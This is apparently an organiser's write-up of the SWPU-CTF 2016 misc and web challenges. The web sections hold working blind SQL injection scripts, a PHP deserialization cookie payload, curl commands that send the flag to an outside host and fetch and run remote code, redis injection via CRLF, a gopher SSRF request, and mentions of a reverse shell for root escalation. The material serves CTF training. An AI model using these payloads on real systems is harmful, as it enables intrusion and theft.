swpu-ctf 2016 writeup(misc+web)

前言:首先很感谢各位师傅的支持和参与,也向师傅们学习到了很多新知识,希望明年比赛越办越好,有更多的师傅们来交流学习。^_^

 

misc150

这道题主要考的是wireshark文件提取和RGB图片还原。总的来说是比较简单的。

打开wireshark数据包,提取http数据,得到一个flag.zip,

解压得到一个ce.txt文件,打开发现是一个rgb图片的像素点,首先把文件的行数进行质因数分解,然后用脚本还原即可,脚本如下:

from PIL import Image
import re

if __name__ == '__main__':
    x = 887
    y = 111
    i = 0
    j = 0
    
    c = Image.new("RGB", (x,y))
    file_object = open('ce.txt')
    
    for i in range(0,  x):
        for j in range(0,  y):
            line = file_object.next()
            lst = line.split(",")
            c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))
    
    c.show()
    c.save("c.png")

 

misc100

jsfuck和brianfuck,直接解出即可。

 

misc100-2

简单的加解密,把图片用winhex打开看到底部的密文,

Base32解密得到又一串密文:vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}

这个很像是凯撒加密,不过奇数和偶数位的移位方向相反。偏移量16,解密脚本如下:

str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}"
for i in range(26):
    key = ''
    for x in str:
        s = ord(x)
        if (s not in range(97,123)) and (s not in range(65,91)):
            key = key + chr(s)
        else:
            #print chr(s)
            if s in range(97,123):
                if s % 2 == 0:
                    s = s - i
                    if s not in range(97,123):
                        t = 97-s
                        t = 123-t
                        key = key + chr(t)
                    else:
                        key = key + chr(s)
                else:
                    s = s + i
                    if s not in range(97,123):
                        t = s-122+96
                        key = key + chr(t)
                    else:
                        key = key + chr(s)
            else:
                #print chr(s)
                if s % 2 == 0:
                    s = s - i
                    if s not in range(65,91):
                        t = 65-s
                        t = 91-t
                        key = key + chr(t)
                    else:
                        key = key + chr(s)
                else:
                    s = s + i
                    if s not in range(65,91):
                        t = s-90+64
                        key = key + chr(t)
                    else:
                        key = key + chr(s)
    print key

 

web200-1

注入,过滤了很多东西。

function sql_clean($str){
        var_dump($str);
        if(is_array($str)){
            echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;
        }
        $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urlencode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i";
        if(preg_match($filter,$str)){
            echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
        }else if(strrpos($str,urldecode("%00"))){
            echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
        }
        return $this->str=$str;
    }
    
    function ord_clean($ord){
        $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
        if (preg_match("/".$filter."/i",$ord) == 1){
            return $this->order = "";
        }
        return $this->order = $ord;
    }

这里可以用操作符将注入语句串起来,

mysql操作符参考:http://blog.csdn.net/yuzongtao/article/details/45044963

给出几个可用的poc:

uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd
uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd
uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd
uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1

注入脚本:

import requests
import re

def exp(i,j):

    url = "http://web1.08067.me/login.php"
    data = {'uname':'\'!=!!(ascii(mid((passwd)from('+str(i)+')))='+str(ord(j))+')!=!!\'1','passwd':'ss'}
    #print data
    res = requests.post(url,data = data)
    #print(res.text, '\n{}\n'.format('*'*79), res.encoding)
    r = re.search("user",res.text)
    if r:
        return 1
    else:
        return 0
        
if __name__ == '__main__':
    payloads = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`~!@#$%^&*()_+1234567890-=[]{};':\"\\|,./<>?"
    pwd = ''
    #print exp(1,'a')
    for i in range(1,40):
        for x in payloads:
            res = exp(i,x)
            if (res == 1):
                pwd = pwd + x
                print pwd
                break
            else:
                pass
                
    print pwd

注入出密码登陆后台,需要执行命令获取flag,本意是通过日志的形式,去获取flag的值,结果师傅们直接简单粗暴的getshell,学习了。

先说说通过日志形式获取内容回显,将需要执行的命令用``包裹,或者$()包裹也行。

命令:curl$IFS\vps:1234/`cat$IFS\../../flag`

注:个人概括师傅们getshell的两种方法:

1)通过管道符"|":

将黑名单限制的关键字用变量分割,如:a=py;b=thon;curl${IFS}http://xxx/xxx.py|$($a$b),即可执行远程py文件

2)通过curl -O 选项:

curl -O 可以直接把远程文件保存到本地,简单便捷

 

 

web200-2

源码泄露,index.php.bak

if (isset($_COOKIE['user'])) {
    $login = @unserialize(base64_decode($_COOKIE['user']));
    if (!empty($login->pass)) {
        $status = $login->check_login();
        if ($status == 1) {
            $_SESSION['login'] = 1;
            var_dump("login by cookie!!!");
        }
    }
}

function.php.bak

<?php 
class help {
  static function CheckSql($db_string, $querytype = 'select') {
        $clean = '';
        $error = '';
        $old_pos = 0;
        $pos = -1;
        if ($querytype == 'select') {
            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
            if (preg_match("/" . $notallow1 . "/i", $db_string)) {
                exit("Error");
            }
        }

        while (TRUE) {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE) {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE) {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE) {
                    break;
                } elseif ($pos2 == FALSE || $pos2 > $pos1) {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);

        $clean = trim(strtolower(preg_replace(array('~\s+~s'), array(' '), $clean)));
        var_dump($clean);

        if (strpos($clean, '@') !== FALSE OR strpos($clean, 'char(') !== FALSE OR strpos($clean, '"') !== FALSE OR strpos($clean, '$s$$s$') !== FALSE) {
            $fail = TRUE;
            if (preg_match("#^create table#i", $clean)) {
                $fail = FALSE;
            }
            $error = "unusual character";
        } elseif (strpos($clean, '/*') !== FALSE || strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE) {
            $fail = TRUE;
            $error = "comment detect";
        } elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "slown down detect";
        } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "slown down detect";
        } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "file fun detect";
        } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0) {
            $fail = TRUE;
            $error = "file fun detect";
        }

        if (!empty($fail)) {
            exit("Error" . $error);
        } else {
            return $db_string;
        }
    }

}
class
login { var $uid = 0; var $name = ""; var $pass = ''; public function check_login() { //mysql_conn(); $sqls = "select * from phpinfoadmin where username='$this->name'"; $sqls = help::CheckSql($sqls); var_dump($sqls); //$re = mysql_query($sqls); $results = @mysql_fetch_array($re); //echo $sqls . $results['passwd']; //mysql_close(); if (!empty($results)) { if ($results['passwd'] == $this->pass) { return 1; } else { return 0; } } } public function __destruct() { $this->check_login(); } public function __wakeup() { $this->name = help::addslashes_deep($this->name); $this->pass = help::addslashes_deep($this->pass); } }

通读文件,我们可以看到登陆的逻辑是:

unserialize(base64_decode($_COOKIE['user'])) --> login->check_login() --> help::CheckSql($sqls)

可以看到,我们传入的数据会经过help::CheckSql($sqls)的检测,这个函数引用了80sec的waf,以前在乌云看到的过这个waf的方法是用@引入变量,这个waf会把单引号内的所有内容替换为$s$,所以我们引入@`'`,就可以绕过这个waf的拦截。同样使用`'`.``.xx的形式也可以,注意的是这里的xx需要为表中存在的字段,否则会报错。

这道题还有一个点组要注意的是反序列化中wakeup()的绕过,最近的ctf比赛几乎都涉及到了这个考点,就不细说了。我博客之前有详细介绍过。

构造序列化字符串:

user =O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:40:"' and `'`.``.username or sleep(5) -- `'`";s:4:"pass";s:32:"3fde6bb0541387e4ebdadf7c2ff31123";}
user = Tzo1OiJsb2dpbiI6NDp7czozOiJ1aWQiO2k6MDtzOjQ6Im5hbWUiO3M6NDA6IicgYW5kIGAnYC5gYC51c2VybmFtZSBvciBzbGVlcCg1KSAtLSBgJ2AiO3M6NDoicGFzcyI7czozMjoiM2ZkZTZiYjA1NDEzODdlNGViZGFkZjdjMmZmMzExMjMiO30=

注入脚本:

import requests,base64,time

def exp(i,a):
    starttime=time.time()
    url = "http://web3.08067.me/wakeup/index.php"
    data = "' and `'`.``.username or sleep(ascii(mid((select flag from flag),"+str(i)+",1))=ascii('"+a+"')) -- `'`"
    lens = len(data)
    d = 'O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:'+str(lens)+':"'+data+'";s:4:"pass";s:32:"3fde6bb0541387e4ebdadf7c2ff31123";}'
    user = base64.b64encode(d)
    cookies = {'user':user}
    #print cookies
    session = requests.Session()
    res = requests.get(url,cookies = cookies)
    #print time.time() - starttime
    if time.time() - starttime > 5:
        return 1
    else:
        return 0
    

    
if __name__ == '__main__':
    #exp(1,'f')
    flag = ''
    payloads = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`~!@#$%^&*()_+1234567890-=[]{};':\"\\|,./<>?"
    for i in range(1,32):
        for a in payloads:
            if exp(i,a):
                flag = flag + a
                print flag
                break
                
    print "flag: " + flag

这道题还有另一个解法(学习了):heavy query
当在时间盲注中时,不能使用sleep、benchmark进行延时,我们可以查询一些量比较大的数据表做笛卡尔集运算,从而达到延时的目的

参考链接:http://www.sqlinjection.net/heavy-query/

 

web100

考察的是文件包含的相关知识,首先通过php://filter去读源码,

upload.php

<form action="" enctype="multipart/form-data" method="post"   
name="upload">file:<input type="file" name="file" /><br>   
<input type="submit" value="upload" /></form>  
  
<?php  
if(!empty($_FILES["file"]))  
{  
    echo $_FILE["file"];  
    $allowedExts = array("gif", "jpeg", "jpg", "png");  
    @$temp = explode(".", $_FILES["file"]["name"]);  
    $extension = end($temp);  
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")  
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")  
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))  
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))  
    {  
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);  
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];  
    }  
    else  
    {  
        echo "upload failed!";  
    }  
}  
?>  

include.php

<html>  
Tips: the parameter is file! :)   
<!-- upload.php -->  
</html>  
<?php  
    @$file = $_GET["file"];  
    if(isset($file))  
    {  
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)  
        {  
            echo "<p> error! </p>";  
        }  
        else  
        {  
            include($file.'.php');  
        }  
    }  
?>  

可以看到,在上传那里我们只能传图片,没有其他什么绕过的可能,而在include.php里面,限制了文件包含的后缀,我们可以通过zip或者phar协议,将php文件制作压缩包,将其改为图片后缀上传,在利用协议去达到包含的目的,这两个协议对于压缩包的提取方式有点不一样,一个是用%23、一个是用/。这道题只能用phar来包含

Getshell,获取flag。

 

web200-3

 这个题是在web100的基础红说那个继续深入,提示tomcat.08067.me,flag2 have stored in root.,想到多半需要提权。这里出题者考的是tomcat本地提权,而不是利用脏牛,(脏牛很容易把服务器打死),来的tomcat页面,不能上传war包,但是我们需要的是一个有tomcat权限的shell,再来利用tomcat本地提权。怎么办呢?
在shell上翻了翻,找到了tomcat的安装目录,/var/lib/tomcat6/webapps/
直接往里面写个jsp的一句话。然后利用网上的exp进行本地提权,需要注意的是由于linux和windows的换行符的区别,需要用正则把\r\n替换成\r,不然在linux下执行命令时会出错。使用正则表达式 sed -i 's/\r$//' xxx ,即可。

发现只有在/tmp/目录下可写,写入提权脚本,然后赋执行权限,反弹一个shell到vps,直接提权。

 

web200-4

urllib头注入漏洞,简单测试,发现本机开放了redis服务。这个题的思路是,通过该漏洞往redis里写入键值,后面登陆处就是取的redis数据库里的键值来登录。但是这里还有个坑就是,后台有个脚本在一直删除redis里面的值,所以我们需要写个多线程脚本去一直往redis里去写值,然后在登陆就可以了。

import requests
import threading
def test():
    while True:
        try:
            url = "http://web7.08067.me/web7/input"
            data = {'value': 'http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo'}
            requests.post(url, data=data)
        except Exception, e:
            pass
def test2():
    while True:
        try:
            url = "http://web7.08067.me/web7/admin"
            data = {'passworld': 'xx00'}
            text = requests.post(url, data=data).text
            if 'flag' in text:
                print text
        except:
            pass
list = []
for i in range(10):
    t = threading.Thread(target=test)
    t.setDaemon(True)
    t.start()
    list.append(t)
for i in range(10):
    t = threading.Thread(target=test2)
    t.setDaemon(True)
    t.start()
    list.append(t)
for i in list:
    i.join()

 

web300

很容易发现存在ssrf漏洞,支持file协议:

根据提示flag不在本机,则多半是叫我们通过ssrf漏洞攻击其他内网主机,但我们首先要知道的是内网主机的网段,这里通过查看centos网卡配置文件来获取

扫描一下c段,发现在172.16.181.165存在一个web应用,猜测一波路径,得到正确的登陆路径

然后需要用gophar协议构造post请求包,来达到攻击目的,但是这里构造的时候需要注意几点:

1)对于:/等特殊字符需要进行url编码

2)在请求包中必须有的字段有Content-Type、Host、Content-Length等,

3)需要对整个url参数再次进行url编码,因为通过浏览器发到后端的curl函数,需要是url编码形式的

最后构造出的poc:

http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%2520%2fadmin%2fwllmctf_login.php%2520HTTP%252f1.1%250d%250aHost%253A%2520127.0.0.1%250d%250aContent-Length%253a%252029%250d%250aContent-Type%253A%2520application%252fx-www-form-urlencoded%250d%250a%250d%250ausername%253Dadmin%2526password%253Dadmin

提示password错误,说明语句构造成功,但是需要通过注入登陆,可直接通过union构造语句,直接登陆。

 

web400

通读全篇代码,使用的是伪全局机制。整个代码只有一处感觉有注入

riji.php

if (@$_SESSION['login'] !== 1)
{
    header('Location:/web/index.php');
    exit();
}
if($_SESSION['user'])
{
    $username = $_SESSION['user'];
    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if($result['userid'])
    {
        $id = intval($result['userid']);
    }
}

<?php
                @mysql_conn();
                $sql1 = "select * from msg where userid= $id order by id";
                $query = mysql_query($sql1);
                $result1 = array();
                while($temp=mysql_fetch_assoc($query)) {
                    $result1[]=$temp;
                }
                mysql_close();
                foreach($result1 as $x=>$o)
                {
                    echo display($o['msg']);
                }
?>

可以看到,当用户登录后,保持$_SESSION存在,然后如果$result值为空,就不会进入if条件,然后$id就不会加上intval()处理,然后通过变量覆盖就可以达到注入的目的了。

那么如何让$result的值为空呢?这里有个api接口,可以删除数据库中的用户,但是需要admin权限,

<?php

require_once("common.php");
session_start();

if (@$_SESSION['login'] === 1){
    header('Location:/web/riji.php');
    exit();
}
class admin {
    var $name;
    var $check;
    var $data;
    var $method;
    var $userid;
    var $msgid;

    function check(){
        $username = addslashes($this->name);
        @mysql_conn();
        $sql = "select * from user where name='$username'";
        $result = @mysql_fetch_array(mysql_query($sql));
        mysql_close();
        if(!empty($result)){

            if($this->check === md5($result['salt'] . $this->data . $username)){
                echo '(=-=)!!';
                if($result['role'] == 1){
                    return 1;
                }
                else{
                    return 0;
                }
            }
            else{
                return 0;
            }
        }
        else{
            return 0;
        }
    }

    function do_method(){
        if($this->check() === 1){
            if($this->method === 'del_msg'){
                $this->del_msg();
            }
            elseif($this->method === 'del_user'){
                $this->del_user();
            }
            else{
                exit();
            }
        }
    }

    function del_msg(){
        if($this->msgid)
        {
            $msg_id = intval($this->msgid);
            @mysql_conn();
            $sql1 = "DELETE FROM msg where id='$msg_id'";
            if(mysql_query($sql1)){
                echo('<script>alert("Delete message success!!")</script>');
                exit();
            }
            else{
                echo('<script>alert("Delete message wrong!!")</script>');
                exit();
            }
            mysql_close();
        }
        else{
            echo('<script>alert("Check Your msg_id!!")</script>');
            exit();
        }
    }

    function del_user(){
        if($this->userid){
            $user_id = intval($this->userid);
            if($user_id == 1){
                echo('<script>alert("Admin can\'t delete!!")</script>');
                exit();
            }
            @mysql_conn();
            $sql2 = "DELETE FROM user where userid='$user_id'";
            if(mysql_query($sql2)){
                echo('<script>alert("Delete user success!!")</script>');
                exit();
            }
            else{
                echo('<script>alert("Delete user wrong!!")</script>');
                exit();
            }
            
            mysql_close();
        }
        else{
            echo('<script>alert("Check Your user_id!!")</script>');
            exit();
        }
    }
}

$a = unserialize(base64_decode($api));
$a->do_method();
?>

那么如何获取管理员权限呢,看这句:

if($this->check === md5($result['salt'] . $this->data . $username))

可以通过hash扩展攻击来获取管理员权限。

关于hash扩展攻击参考:http://www.joychou.org/index.php/web/hash-length-extension-attack.html

还有一个问题是我们需要获取用户的userid,才能定向删除该用户。在index.php文件

if(@$login==1)
{
    
    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if (!empty($result))
    {
        
        if($result['passwd'] == md5($password))
        {
            $user_cookie = '';
            $user_cookie .= $result['userid'];
            $user_cookie .= $result['name'];
            $user_cookie .= $result['salt'];
            $cookies = base64_encode($user_cookie);
            //$cookies = $user_cookie;
            setcookie("user",$cookies,time()+60,'/web/');
            $_SESSION['login'] = 1;
            $_SESSION['user'] = $username;
            header('Location:/web/riji.php');
        }
        else
        {
            echo("<script>alert('Password Worng?')</script>");
        }
    }
    else
    {
        echo("<script>alert('Username Worng?')</script>");
    }
}

可以看到在cookie里可以得到userid

然后就是构造我们的序列化字符串来得到管理员权限,删除用户了。

Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiI2NiI7fQ==

然后删除用户:

通过变量覆盖来注入:

 

posted on 2016-11-01 13:59  镱鍚  阅读(594)  评论(0)    收藏  举报

导航